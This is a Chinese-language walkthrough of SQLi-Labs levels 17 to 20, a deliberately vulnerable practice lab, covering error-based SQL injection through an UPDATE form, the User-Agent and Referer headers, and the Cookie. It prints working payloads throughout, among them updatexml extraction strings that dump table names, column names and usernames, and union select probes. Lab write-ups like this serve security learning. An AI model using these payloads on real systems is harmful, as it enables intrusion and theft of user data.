目录
Less-17:POST - Update Query - Error Based - String(POST - 更新查询 - 基于错误 - 字符串)
Less-18:POST - Header Injection - Uagent field - Error Based(POST - 头部注入 - Uagent field - 基于错误)
Less-19:POST - Header Injection - Referer field - Error Based(POST - 头部注入 - Referer field - 基于错误)
Less-20:POST - Cookie Injections - Uagent field - Error Based(POST - Cookie注入- Referer field - 基于错误)
Less-17:POST - Update Query - Error Based - String(POST - 更新查询 - 基于错误 - 字符串)
这里无论我们在User Name栏输入什么除了正确的用户名admin,他都会报错,难道这题就没有注入点啦?
来,我们先看一下源码
左边是Less-16的源码,右边是Less-17的源码,看不懂每关系,我也看不懂,但是知道uname多了一个东西,我们把之前用过的万能语句输入在New Password栏试试
输入:' or 1=1-- +,发现还是报错,会不会是User Name栏也要输入点东西,输入一个admin试试,果然,页面回显正常(这里看别人的解析是说User Name栏必须要输入正确的账户才可以)
后面的就直接使用Less-13提到的updatexml报错就可以啦,我给大家示范一个查询当前库名
输入:admin ; ' and updatexml(1,concat(0x7e,(database())),1)-- +
得出结论->当前数据库名为'security'
好啦,后面的就不说啦
Less-18:POST - Header Injection - Uagent field - Error Based(POST - 头部注入 - Uagent field - 基于错误)
这一题还是有难度的,首先不同于Less-17,这一题的账号栏和密码栏都被check_input给限制住了,这时候,我们结合一下题目,uagent好像跟use-agent差不多吧,所以这题我们结合burp来做!
第一个坑来了,正常来说,账户密码都输入admin是可以正常登录进去的,但有些同学是不是登不进去!!!!现在我们回到Less-17,有没有看到他的题目有一个update!没错你在这题的密码栏输入了什么,那下一题的密码就是什么!!那我们重新在Less-17输入admin更新一下密码,回到Less-18,好了,进去了!
burp来抓个包,把User-Agent里面的内容全部干掉,输入:'and updatexml(1,concat(0x7e,(database())),1) or '1'='1-- +,看看出现了什么
大家不陌生了吧!但这条语句为什么要这么输入,作为还算一个初学者的我,还是跟大家解释不清,其他攻略其实讲的也一般,这题建议大家去b站上看看,我把爆表,爆列,爆字段,爆用户名和密码的语句给大家!
爆表:'or updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 0,1)),1) or '1'='1-- +
爆列:'or updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1)),1)or '1'='1-- +
爆字段:'or updatexml(1,concat(0x7e,(select username from security.users limit 0,1)),1) or '1'='1-- +
好了,这些大家都自己手打嗷!
Less-19:POST - Header Injection - Referer field - Error Based(POST - 头部注入 - Referer field - 基于错误)
这题就一笔带过啦,上一题是修改user-agent,这次是修改referer就好了
Less-20:POST - Cookie Injections - Uagent field - Error Based(POST - Cookie注入- Referer field - 基于错误)
老样子,输入正确账号密码先抓一个包,然后再来看看回显内容
有user-agent,有ip,不知道大家发现了没,出现了Your Login name和Your Password,熟不熟悉??所以进行初步判断,这题需要使用联合查询而不是报错注入!接下来看看抓到的包
根据前面两题的经验,这题是需要更改Cookie值的,先在admin后面加一个' ,嚯,报错了
,那么我们方向没错,接下来就是用之前写过的语句来查询了!
输入:admin' order by 3#,页面回显正常
输入:-admin' union select 1,2,3#
好了, 接下来大家应该都懂了吧!
其他的语句大家一定要自己敲,最后附上答案!